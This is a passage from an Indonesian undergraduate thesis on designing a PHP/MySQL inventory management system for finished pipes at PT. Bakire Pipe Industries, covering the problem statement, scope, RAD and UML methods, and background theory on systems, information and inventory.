Page 29: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

3

1. Aplikasi yang ada sekarang tidak terintegrasi antar yang satu dengan yang

lainnya, sehingga membutuhkan waktu lama sekitar 2 jam bahkan bisa lebih

disaat banyaknya pesanan yang diminta oleh pelanggan untuk pengiriman

surat perintah kerja untuk memasukkan pipa tersebut ke dalam open store.

2. Penyusunan laporan yang masih manual menyebabkan kinerja perusahaan

menjadi terlambat, khususnya dalam hal penyimpanan pipa dan melihat data-

data pipa masuk ataupun keluar dari inventory open store.

Berdasarkan identifikasi masalah, maka perumusan masalah sebagai berikut:

Bagaimana membangun aplikasi sistem inventory open store untuk

memudahkan karyawan inventory open store dalam mengolah data produk jadi yang

dimiliki oleh perusahaan, dan menyajikan informasi laporan-laporan persediaan

barang jadi dengan yang dibutuhkan manager open store?

1.3 Batasan Masalah

Batasan permasalahan yang ada yaitu:

1. Ruang lingkup organisasi dari sistem yang dibuat adalah PPIC Manager

khususnya pada Inventory open store.

2. Sistem hanya mendata dan memberikan informasi tentang persediaan produk

yang masuk dari proses produksi sampai pengeluaran produk untuk dikirim

atau diproses ulang ke dalam produksi, tidak sampai pada tahap transaksi

penjualan.

3. Merancang dan mendesain sistem inventory management dengan metode

Rapid Application Development (RAD) mulai dari tahap Scope Definition

Page 30: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

sampai dengan tahapan Construction & Testing dan Unified Modelling

Language (UML) sebagai alat pemodelan dengan menggunakan beberapa

diagram yaitu use case diagram, activity diagram, sequence diagram, class

diagram.

4. Merancang sistem inventory management open store dengan menggunakan

bahasa pemrograman PHP yang dikoneksikan dengan database MySQL

dengan rancangan antar muka macromedia dreamweaver.

5. Sistem yang dibuat tidak membahas tentang keamanan data.

6. Metode Persediaan yang digunakan perusahaan adalah metode safety stock.

1.4 Tujuan Penelitian

Tujuan penelitian ini adalah:

1. Membuat suatu sistem inventory management open store yang user

friendly dan mengurangi pemakaian kertas sebagai media pencatatan

barang yang masuk dan keluar pada inventory open store.

2. Membuat sistem penyimpanan data mengenai jumlah stok barang jadi

setelah produksi yang dimiliki oleh perusahaan.

3. Membuat sistem informasi yang akurat, efisien dan efektif dalam

menyediakan laporan persediaan produk perusahaan.

4. Metode Persediaan yang digunakan perusahaan adalah metode safety

stock.

Page 31: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

5

1.5 Manfaat Penelitian

Adapun manfaat dari penelitian ini antara lain:

a. Dapat mengaplikasikan dan membandingkan teori yang didapat diperkuliahan

dengan masalah yang sebenarnya di lapangan.

b. Membantu dan mempermudah tugas karyawan dalam melakukan

pengontrolan barang jadi.

c. Mengurangi kesalahan dalam pengolahan data, pencarian data dan keakuratan

dalam pembuatan laporan pipa masuk, pipa keluar, reproduksi pipa, dan lain

sebagainya.

d. Dapat dijadikan referensi untuk bahan penelitian khususnya pada bidang

peminatan Sistem Informasi Koorporasi.

1.6 Metode Penelitian

Untuk memperoleh data yang dibutuhkan dalam proses penellitian, maka

peneliti menggunakan beberapa metode dalam pengumpulan data yaitu:

a. Metode Pengumpulan Data

Metode pengumpulan data yang digunakan dalam penelitian ini adalah

sebagai berikut:

(1) Studi Pustaka

Studi pustaka merupaka proses umum yang dilalui untuk mendapatkan

teori terlebih dahulu. Peneliti mengumpulkan dan mempelajari buku-buku

yang berhubungan dengan masalah yang diteliti.

(2) Studi Lapangan

Page 32: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Dalam studi lapangan ini, peneliti bermaksud untuk mendapatkan data

dengan menggunakan dua tahap, yaitu:

a) Observasi

Mengamati secara langsung kegiatan yang ada di bagian inventory

open store guna mengetahui bagaimana alur kerjadan sistem informasi

yang diterapkan.

b) Wawancara

Peneliti menanyakan beberapa pertanyaan kepada pihak-pihak yang

terkait di PT. Bakire Pipe Industries untuk mendapatkan data-data.

(3) Studi Literatur Sejenis

Studi literature sejenis merupakan proses pengumpulan data dengan

mengevaluasi penelitian yang terdahulu.

b. Metode Pengembangan Sistem

Dalam membangun sistem informasi manajemen open store metode yang

digunakan adalah metode Rapid Application Develeopment (RAD), RAD adalah

salah satu alternatif dalam melakukan pengembangan sistem. RAD adalah sebuah

strategi pengembangan sistem yang menekankan kecepatan pengembangan

melalui keterlibatan pengguna yang ekstensif dalam konstruksi, cepat, berulang

dan bertambah serangkaian prototype, atau prototipe bekerja sebuah sistem yang

pada akhirnya berkembang ke dalam sistem fina (atau sebuah versi). Dan dengan

model pendekatan UML (Unified Modelling Language). UML adalah bahasa

pemodelan yang dapat dikembangkan lebih lanjut ke dalam suatu bahasa program

dengan menggunakan code generator sehingga berpeluang menjadi dasar

Page 33: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

7

pengembangan suatu case tools pengembangan sistem dan merupakan suatu

bahasa pemodelan untuk melakukan spesifikasi, visualisasi, konstruksi dan

dokumentasi objek dalam pengembangan sebuah perangkat lunak/ sistem. UML

bertujuan untuk melakukan permodelan terhadap pembuatan suatu sistem dengan

menggunakan konsep berorientasi objek (object oriented).

Dalam UML terdapat beberapa diagram yang dapat digunakan untuk

pembuatan desain pada sebuah aplikasi, yaitu use case diagram, activity diagram,

class diagram, sequence diagram.

1.7 Sistematika Penulisan

Demi tuntasnya pemecahan masalah secara kronologis dan sistematis, maka

penelitian ini diatur dalam sistematika yang terdiri atas lima BAB yaitu:

BAB I : PENDAHULUAN

Dalam bab ini, dijelaskan tentang latar belakang masalah,

perumusan masalah, batasan masalah, tujuan penelitian, manfaat

penelitian, metode penelitian serta sistematika penelitian.

BAB II : LANDASAN TEORI

Dalam bab ini, berisi teori-teori umum mengenai teori-teori yang

dipergunakan dalam perancangan sistem.

BAB III : METODE PENELITIAN

Dalam bab ini dipaparkan tentang metode yang peneliti gunakan

dalam pencarian data maupun metode untuk pengembangan sistem

yang dilakukan pada penelitian ini.

Page 34: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

BAB IV : SISTEM INVENTORY MANAGEMENT OPEN STORE

Dalam bab ini berisi tentang gambaran umum perusahaan yang

meliputi sejarah singkat, visi dan misi, struktur organisasi PT.

Bakire Pipe Industries, perancangan sistem, perancangan menu

tampilan menggunakan Macromedia Dreamweaver dengan bahasa

pemrograman PHP dan menggunakan MySQL sebagai database-nya

BAB V : KESIMPULAN DAN SARAN

Dalam bab ini terdiri atas kesimpulan yang dapat diambil dari

penelitian tersebut dan juga kritik dan saran yang bersifat

membangun sebagai langkah perbaikan dimasa datang.

Page 35: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

9

BAB II

LANDASAN TEORI

2.1 Pengertian Rancang Bangun

Perancangan/ rancang merupakan serangkaian prosedur untuk

menerjemahkan hasil analisa dan sebuah sistem ke dalam bahasa pemrograman untuk

mendeskripsikan dengan detail bagaimana komponen-komponen sistem yang

diimplementasikan. Sedangkan pengertian pembangunan/ bangun sistem adalah

kegiatan menciptakan sistem baru maupun mengganti atau memperbaiki sistem yang

ada baik secara keseluruhan maupun sebagian (Pressman, 2002).

2.2 Data

Data secara ringkas dapat diartikan sebagai kumpulan fakta mentah yang ada

dalam kehidupan. Data mencerminkan segala kejadian yang ada di dunia. Contohnya

seorang siswa tersusun dari data-data berikut: Nama, Alamat, Nama Wali Murid,

Hobi, Nilai dan seterusnya. Ciri lain dari data adalah data belum memiliki manfaat

untuk manusia, karena data hanya berupa carikan-carikan kenyataan yang belum

disusun untuk memberikan manfaat (Akbar, 2006). Data merupakan bentuk jamak

dari bentuk tunggal datum. Data adalah kenyataaan yang menggambarkan suatu

kejadian-kejadian dan kesatuan nyata. Kejadian-kejadian adalah suatu yang terjadi

pada saat tertentu di dalam dunia bisnis adalah perubahan dari suatu nilai yang

disebut transaksi. Misalnya, penjualan adalah transaksi perubahan nilai barang

menjadi nilai uang atau nilai piutang dagang. Dari definisi dan uraian tersebut dapat

Page 36: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

disimpulkan bahwa daya adalah bahan mentah yang diproses untuk menyajikan

informasi (Sutabri, 2005).

Untuk lebih jelasnya, lihat gambar berikut ini.

Gambar 2.1 Pemrosesan Data (Sutabri, 2005)

Mengenai pengertian data, lebih jelas apa yang didefinisikan oleh Drs. John J.

Lunkutoy tahun 2005 dalam bukunya “Pengenalan Komputer” sebagai berikut:

“Istilah data adalah suatu istilah majemuk yang berarti fakta atau bagian dari fakta

yang mengandung arti yang dihubungkan dengan kenyataan, symbol-simbol, gambar-

gambar, angka-angka, huruf-huruf, atau symbol-simbol yang menunjukkan suatu ide,

objek, kondisi, atau situasi dan lain-lain. Jelasnya data itu dapat berupa apa saja dan

dapat ditemui dimana saja. Kemudian data adalah sebagai bahan dasar yang objektif

(relatif) didalam proses penyusunan kebijaksanaan dan keputusan oleh pemimpin

organisasi”

Penyimpanan data

Informasi Data

proses

Page 37: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

11

2.3 Sistem Informasi

2.3.1 Sistem

2.3.1.1 Pengertian Sistem

Sistem dapat diartikan sebagai sekelompok unsur yang erat hubungannya satu

dengan yang lain, yang berfungsi bersama-sama untuk mencapai tujuan tertentu

(Sutabri, 2005). Sistem juga dapat didefinisikan sebagai satu kesatuan yang terdiri

dari dua atau lebih komponen atau subsistem yang berinteraksi untuk mencapai

tujuan (Jogiyanto, 2002).

Suatu sistem dapat terdiri atas sistem-sistem bagian (subsyterm). Masing-

masing yang lebih kecil lagi atau terdiri atas subsistem-subsistem yang lebih kecil

lagi atau terdiri atas komponen-komponen. Subsistem-subsistem saling berinteraksi

dan berhubungan membentuk satu kesatuan sehingga tujuan atau sasaran sistem

tersebut tercapai.

2.3.1.2 Karakteristik Sistem

Model umum sebuah sistem adalah input, proses, dan output. Hal ini

merupakan konsep sebuah sistem yang sangat sederhana sebab sebuah sistem dapat

mempunyai beberapa masukan dan keluaran. Selain itu, sebuah sistem memiliki

karakteristik atau sifat-sifat tertentu, yang mencirikan bahwa hal tersebut bias

dikatakan sebagai suatu sistem (Sutabri, 2005).

Adapun karakteristik yang dimaksud adalah sebagai berikut:

1) Komponen Sistem (Components)

Page 38: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Suatu sistem terdiri atas sejumlah komponen yang saling berinteraksi, artinya

saling bekerja sama membentuk satu kesatuan. Komponen-komponen sistem

tersebut dapat berupa suatu bentuk subsistem. Setiap subsistem memiliki sifat

dari sistem yang menjalankan suatu fungsi tertentu dan mempengaruhi proses

sistem secara keseluruhan. Suatu sistem dapat mempunyai sistem yang lebih

besar, yang disebut “supra sistem”

2) Batas Sistem (Boundary)

Ruang lingkup sistem merupakan daerah yang membatasi antara sistem dengan

sistem yang lain atau sistem dengan lingkungan luarnya. Batasan sistem ini

memungkinkan suatu sistem dipandang sebagai satu kesatuan yang tidak dapat

dipisah-pisahkan.

3) Lingkungan Luar Sistem (Environment)

Bentuk apapun yang ada diluar lingkup atau batasan sistem yang mempengaruhi

operasi sistem tersebut disebut lingkungan luar sistem. Lingkungan luar sistem ini

dapat bersifat menguntungkan dan dapat juga merugikan sistem tersebut.

Lingkungan luar yang menguntungkan merupakan energy bagi sistem tersebut.

Dengan demikian, lingkungan luar tersebut harus tetap dijaga dan dipelihara.

Lingkungan luar yang merugikan harus dikendalikan. Kalau tidak maka akan

mengganggu kelangsungan hidup sistem tersebut.

4) Penghubung Sistem (Interface)

Media yang menghubungkan sistem dengan subsistem lain disebut penghubung

sistem atau interface. Penghubung ini memungkinkan sumber-sumber daya

mengalir dari satu subsistem ke subsistem lain. Bentuk keluaran dari satu

Page 39: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

13

subsistem akan menjadi masukan untuk subsistem lain melalu penghubung

tersebut. Dengan demikian, dapat terjadi suatu integrasi sistem yang membentuk

satu kesatuan.

5) Masukan Sistem (Input)

Energi yang dimasukkan ke dalam sistem disebut masukkan sistem, yang dapat

berupa pemeliharaan (maintenance input) dan sinyal (signal input). Contoh, di

dalam suatu unit sistem komputer. “Program” adalah maintenance input yang

digunakan untuk mengoperasikan komputernya dan “data” adalah signal input

untuk diolah menjadi informasi.

6) Keluaran Sistem (Output)

Hasil energi yang diolah dan diklasifikasikan menjadi keluaran yang berguna.

Keluaran ini merupakan masukan bagi subsistem yang lain. Contoh, sistem

informasi. Keluaran yang dihasilkan adalah informasi. Informasi ini dapat

digunakan sebagai masukan untuk pengambilan keputusan atau hal-hal lain yang

menjadi input bagi subsistem lain.

7) Pengolahan Sistem (Process)

Suatu sistem dapat mempunyai suatu proses yang akan mengubah masukkan

menjadi keluaran. Contoh, sistem akuntansi. Sistem ini akan mengolah data

transaksi menjadi laporan-laporan yang dibutuhkan oleh pihak manajemen.

8) Sasaran Sistem (Objective)

Suatu sistem memiliki tujuan dan sasaran yang pasti dan bersifat deterministic.

Kalau suatu sistem tidak memiliki sasaran, maka operasi sistem tidak ada

Page 40: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

gunanya. Suatu sistem dikatakan berhasil bila mengenai sasaran atau tujuan yang

telah direncanakan.

2.3.1.3 Klasifikasi Sistem

Sistem merupakan suatu bentuk integritas antara satu komponen dengan

komponen lain, karena sistem memiliki sasaran yang berbeda untuk setiap kasus yang

terjadi yang ada di dalam sistem tersebut (Sutabri, 2005). Oleh karena itu, sistem

dapat diklasifikasikan dari beberapa sudut pandang, diantaranya adalah:

1) Sistem abstrak dan sistem fisik

Sistem abstrak adalah sistem yang berupa pemikiran atau ide-ide yang tidak

tampak secara fisik, misalnya sistem teologia, yaitu sistem yang berupa pemikiran

hubungan antara manusia dengan Tuhan, sedangkan sistem fisik merupakan

sistem yang ada secara fisik, misalnya sistem computer, sistem produksi, sistem

penjualan, sistem administrasi personalia, dan lain sebagainya.

2) Sistem alamiah dan sistem buatan

Sistem alamiah adalah sistem yang terjadi melalui proses alam, tidak dibuat oleh

manusia, misalnya sistem perputaran bumi, terjadinya siang dan malam, dan

pergantian musim. Sedangkan sistem buatan manusia merupakan sistem yang

melibatkan interaksi manusia dengan mesin, yang disebut human machine system.

Sistem informasi berbasis computer merupakan contoh human machine system

karena menyangkut penggunaan komputer yang berinteraksi dengan manusia.

3) Sistem determanistik dan sistem probabilitas

Page 41: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

15

Sistem yang beroperasi dengan tingkah laku yang dapat diprediksi disebut sistem

deterministic. Sistem komputer adalah contoh dari sistem yang tingkah lakunya

dapat dipastikan berdasarkan program-program kompter yang dijalankan.

Sedangkan sistem yang bersifat probabilistic adalah sistem yang kondisi masa

depannya tidak dapat diprediksi karena mengandung unsur ketidakpastian.

Misalnya sistem persediaan.

4) Sistem terbuka dan sistem tertutup

Sistem tertutup merupakan sisten yang tidak berhubungan dan tidak berpengaruh

oleh lingkungan luarnya. Sistem ini bekerjaa secara otomatis tanpa campur

tangan pihak luar. Sedangkan sistem terbuka adalah sistem yang berhubungan

dan dipengaruhi oleh lingkungan luarnya. Sistem ini menerima masukan dan

menghasilkan keluaran untuk subsistem lainnya.

2.3.2 Informasi

2.3.2.1 Pengertian Informasi

Informasi adalah data yang telah dikalsifikasikan atau diolah atau

diinterpretasi untuk digunakan dalam proses pengambilan keputusan (Sutabri, 2005).

Dalam pengertian lain informasi adalah hasil pengolahan data yang dapat

memberikan manfaat kepada manusia (Akbar, 2006). Menurut Davis diambil dalam

buku Mulyanto informasi juga dapat didefinisikan sebagai data yang telah diolah

menjadi bentuk yang lebih berarti dan berguna bagi penerimanya untuk mengambil

keputusan masa kini maupun yang akan datang (Mulyanto, 2009).

Page 42: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Fungsi utama informasi adalah menambah pengetahuan atau mengurangi

ketidakpastian pemakai informasi. Informasi yang disampaikan kepada pemakai

mungkin merupakan hasil data yang dimasukkan ke dalam pengolahan model

keputusan.

2.3.2.2 Nilai dan Kualitas Informasi

Nilai informasi ditentukan oleh 2 (Dua) hal, yaitu manfaat dan biaya untuk

mendapatkannya. Suatu informasi dikatakan bernilai bila manfaat lebih efektif

dibandingkan dengan biaya mendapatkannya (Sutabri, 2005)

Lebih lanjut, sebagian besar informasi tidak dapat persis ditafsir

keuntungannya dengan suatu nilai uang, tetapi dapat ditafsir nilai efektivitasnya.

Pengukuran nilai informasi biasanya dihubungkan dengan analisa cost effectiveness

atau cost benefit. Nilai informasi ini didasarkan atas 10 (sepuluh) sifat, yaitu:

(1) Mudah diperoleh

Sifat ini menunjukkan mudahnya dan cepatnya informasi yang dapat diperoleh.

Kecepatan memperoleh dapat diukur, misalnya 1 menit versus 24 jam. Akan

tetapi, beberapa nilainya bagi pemakai informasi sulit mengukurnya.

(2) Luas dan Lengkap

Sifat ini menunjukkan lengkapnya sifat informasi. Hal ini tidak berarti hanya

mengenai volume-nya, akan tetapi juga mengenai keluaran informasinya.

(3) Ketelitian

Page 43: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

17

Sifat ini berhubungan dengan tingkat kebebesan dari kesalahan keluaran

informasi.

(4) Kecocokan

Sifat ini menunjukkan betapa baik keluaran informasi dalam hubungannya

dengan permintaan para pemakai.

(5) Ketepatan Waktu

Sifat ini berhubungan dengan waktu yang dilalui yang lebih pendek dari pada

siklus untuk mendapatkan informasi.

(6) Kejelasan

Sifat ini menunjukkan keluaran informasi yang bebas dari istilah-istilah yang

tidak jelas.

(7) Keluwesan

Sifat ini berhubungan dengan disesuaikannya keluaran informasi tidak hanya

dengan lebih dari satu keputusan, tetapi juga dengan lebih dari seorang pengambil

keputusan.

(8) Dapat dibuktikan

Sifat ini menunjukkan kemampuan beberapa pemakai informasi untuk menguji

keluaran informasi dan sampai pada kesimpulan yang sama.

(9) Tidak Ada Prasangka

Sifat ini berhubungan dengan tidak adanya keinginan untuk mengubah informasi

guna mendapatkan kesimpulan yang telah dipertimbangkan sebelumnya.

(10) Dapat diukur

Page 44: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Sifat ini menunjukkan hakekat informasi yang telah dihasilkan dari sistem

informasi formal.

Kualitas suatu informasi tergantung dari 3 (tiga) hal yaitu, informasi

harus akurat (accurate), tepat waktu (timelines), dan relevan (relevance) (Sutabri,

2005). Penjelasan tentang kualitaas informasi tersebut akan dipaparkan dibawah ini.

1) Akurat

Informasi harus bebas dari kesalahan-kesalahan dan tidak bias atau menyesatkan.

Akurat juga berarti informasi harus jelas mencerminkan maksudnya. Informasi

harus akurat karena dari sumber informasi sampai ke penerima informasi

kemungkinan banyak terjadi gangguan yang dapat merubah atau merusak

informasi tersebut.

2) Tepat pada Waktunya

Informasi yang datang pada penerima tidak boleh terlambat. Informasi yang

sudah using tidak akan mempunyai nilai lagi, karena informasi merupakan

landasan dalam pengambilan keputusan. Bila pengambilan keputusan terlambat,

maka akan berakibat fatal bagi suatu organisasi.

3) Relevan

Informasi tersebut mempunyai manfaat untuk pemakainya. Relevansi informasi

untuk tiap-tiap orang satu dengan lainnya berbeda.

Page 45: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

19

2.3.3 Sistem Informasi

2.3.3.1 Pengertian Sistem Informasi

Sistem informasi adalah suatu sistem didalam suatu organisasi yang

mempertemukan sauatu kebutuhan pengolahan transaksi harian yang mendukung

fungsi operasi organisasi yang bersifat manajerial dengan kegiatan strategi dari suatu

organisasi untuk dapat menyediakan informasi kepada pihak luar tertentudengan

laporan-laporan yang diperlukan (Sutabri, 2005).

Sistem informasi adalah suatu komponen yang terdiri atas manusia, teknologi

informasi, dan prosedur kerja yang memproses, menyimpan, menganalisis, dan

menyebarkan informasi untuk mencapai suatu tujuan (Mulyanto, 2009).

2.3.3.2 Komponen Sistem Informasi

Sistem informasi terdiri atas komponen-komponen yang disebut blok

bangunan (building block), yang terdiri atas blok masukan, blok model, blok

keluaran, blok teknologi, blok basis data, dan blok kendali (Sutabri, 2006).

1) Blok masukan (input block)

Input mewakili data yang masuk ke dalam sistem informasi. Input disini termasuk

metode dan media untuk menangkap data yang dimasukkan, yang dapat berupa

dokumen-dokumen dasar.

2) Blok Model (model block)

Blok ini terdiri dari kombinasi prosedur, logika, dan model matematik yang akan

memanipulasi data inout dan data yang tersimpan di basis data dengan cara yang

sudah ditentukan untuk menghasilkan keluaran yang diinginkan.

Page 46: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

3) Blok Keluaran (output block)

Produk dari sistem informasi adalah keluaran yang merupakan informasi yang

berkualitas dan dokumentasi yang berguna untuk semua tingkatan manajemen

serta semua pemakai sistem.

4) Blok Teknologi (technology block)

Teknologi merupakan “tool box” dalam sistem informasi. Teknologi digunakan

untuk menerima input, menjalankan model, menyimpan dan mengakses data,

menghasilkan dan mengirimkan keluaran, dan membantu pengendalian dari

sistem secara keseluruhan..

5) Blok Basis Data (database block)

Basis data (database) merupakan kumpulan data yang saling berkaitan dan

berhubungan satu dengan yang lain, tersimpan di perangkat keras computer dan

menggunakan perangkat lunak untuk manipulasinya.

6) Blok Kendali (control block)

Banyak hal yang dapat merusak sistem informasi, seperti bencana alam, api,

temperatur, air, debu, kecurangan-kecurangan, kegagalan-kegagalan sistem itu

sendiri, ketidak efisienan, sabotas, dan lain sebagainya.

Komponen sistem informasi menurut pandangan lain terdiri dari lima sumber

daya yang dikenal sebagai komponen sistem informasi. Kelima sumber daya tersebut

adalah manusia, hardware, software, data, dan jaringan. Kelima komponen tersebut

memainkan peranan yang sangat penting dalam suatu sistem informasi (Mulyanto,

2009). Namun, dalam kenyataannya, tidak semua komponen sistem informasi

Page 47: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

21

mencakup kelima komponen tersebut. Misalnya, sistem informasi pribadi yang

mencakup jaringan telekomunikasi.

2.3.3.3 Jenis Sistem Informasi

Manajemen membutuhkan informasi untuk mendukung pengambilan

keputusan yang akan dilakukan. Sumber informasi untuk pengambilan keputusan

manajemen bisa didapat dari informasi eksternal dan informasi internal. Informasi

internal dapat diperoleh dari sistem informasi yang berupa hasil pengolahan data

elektronik (PDE) atau non PDE (Sutabri, 2005).

Beberapa sistem informasi fungsional yang umuk sebagai berikut (Kadir,

2003).

(1) Sistem Informasi Akuntansi

Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi

akuntansi. Sistema ini mencakup semua transaksi yang berhubungan dengan

keuangan dalam perusahaan.

(2) Sistem Informasi Keuangan

Sistem informasi yang menyediakan informasi pada fungsi keuangan yang

menyangkut keuangan perusahaan.

(3) Sistem Informasi Manufaktur

Sistem informasi yang bekerja sama dengan sistem informasi lain untuk

mendukung menajamen perusahaan dalam menyelesaikan masalah yang

berhhubungan dengan produk atau jasa, yang dihasilkan perusahaan.

(4) Sistem Informasi Pemasaran

Page 48: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi

pemasaran.

(5) Sistem Informasi SDM

Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi

personalia.

2.4 Manajemen

2.4.1 Pengertian Manajemen

Manajemen adalah suatu proses atau kegiatan yang menjelaskan apa yang

dilakukan manajer pada operasional organisasi mereka untuk merencanakan,

mengorganisasikan, memprakarsai, dan mengendalikan operasi (Sutabri, 2005).

2.4.2 Bentuk Kegiatan Manajemen

Kegiatan manajemen dihubungkan dengan tingkatannya di dalam organisasi.

Kegiatan manajemen tingkat atas, menengah, dan bawah adalah berbeda. Kegiatan-

kegiatan manajemen mempengaruhi pengolahan informasi karena informasi yang

dibutuhkan berbeda untuk masing-masing tingkatan. Kebutuhan informasi yang

berbeda itu dapat diketahui dari masing-masing kegiatan manajemen tersebut

(Sutabro, 2005). Kegiatan manajemen untuk masing-masing tingkatan dapat

dikategorikan sebagai berikut:

(1) Perencanaan Strategis

Page 49: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

23

Merupakan kegiatan manajemen tingkat atas (top manager). Perencanaan

strategis adalah proses evaluasi lingkungan organisasi, penetapan tujuan

organisasi, dan penentuan strategi-strategi.

(2) Pengendalian Manajemen

Pangendalian manajemen adalah proses meyakinkan bahwa organisasi telah

menjalankan strategis yang sudah ditetapkan dengan efektif dan efisien.

(3) Pengendalian Operasi

Pengendalian operasi adalah proses meyakinkan bahwa setiap tugas tertentu telah

dilaksanakan secara efektif dan efisien. Pengendalian operasi ini merupakan

proses penerapan program yang telah ditetapkan di pengendalian manajemen.

2.5 Persediaan (Inventory)

2.5.1 Pengertian Persediaan

Persediaan merupakan bahan baku atau barang yang disimpan untuk tujuan

tertentu, antara lain untuk proses produksi, jika berupa bahan mentah maka akan

diproses lebih lanjut, jika berupa komponen (spare part) maka akan dijual kembali

menjadi barang dagangan (Yolanda, 2005).

Barang persediaan atau disebut inventory adalah barang-barang yang biasanya

dapat dijumpai di gudang tertutup, lapangan, gedung terbuka, atau tempat-tempat

penyimpanan lain, baik berupa bahan baku, barang setengah jadi, barang jadi,

barang-barang untuk keperluan suatu proyek (Eko & Djoko, 2003).

Page 50: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.5.2 Fungsi Persediaan

Persediaan dapat memiliki fungsi penting menambah fleksibilitas dari operasi

suatu perusahaan. Fungsi dasar persediaan sebenarnya sangat sederhana, yaitu

meningkatkan profitability prusahaan (Yolanda, 2005).

Bagi sebagian perusahaan kebijakan persediaan yang aman adalah memiliki

persediaaan dalam jumlah banyak, tetapi ternyata hal akan menyebabkan tingginya

biaya untuk penyimpanan dan pembelian bahan atau barang yang bersangkutan,

sedangkan kelebihan persediaan juga akan menyebabkan banyaknya dana yang

terserap dalam persediaan sehingga tidak efisien. Sebaliknya, bila persediaan terlalu

sedikit akan beresiko kekurangan bahan baku atau barang. Hal ini akan mengganggu

kelancaran proses produksi, selain itu juga biaya pembelian dan biaya persediaan

juga semakin besar.

Selain fungsi dasar persediaan, ada beberapa fungsi persediaan yang lainnya,

yakni fungsi wilayah, fungsi decoupling, dan fungsi penyeimbang dengan permintaan

(Yolanda, 2005).

1) Fungsi Pemisahan Wilayah, merupakan spesialisasi ekonomis antara unit

pembuatan (manufacturing) dan unit distribusi yang dibagikan dalam wilayah-

wilayah yang ditangani.

2) Fungsi decoupling, merupakan fungsi suatu produk yang diproses dan

didistribusikan dalam ukuran yang ekonomis.

3) Fungsi penyeimbang dengan permintaan. Persediaan berfungsi untuk

menyeimbangkan kebutuhan konsumsi dengan produksi, agar kebutuhan

Page 51: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

25

konsumsi dapat dipenuhi dengan lancer dari proses produksi yang dilakukan.

Sifat permintaan dapat bersifat stabil atau musiman.

2.5.3 Klasifikasi Barang Persediaan

Barang persediaan dapat dibagi atas beberapa jenis atau klasifikasi. Sekurang-

kurangnya ada 6 (enam) klasifikasi utama (Eko & Djoko, 2003), yaitu:

1) Bahan Baku (raw materials)

Bahan mentah yang belum diolah, yang akan menjadi barang jadi sebagai hasil

utama dari perusahaan yang bersangkutan.

2) Barang Setengah Jadi (semi finished products)

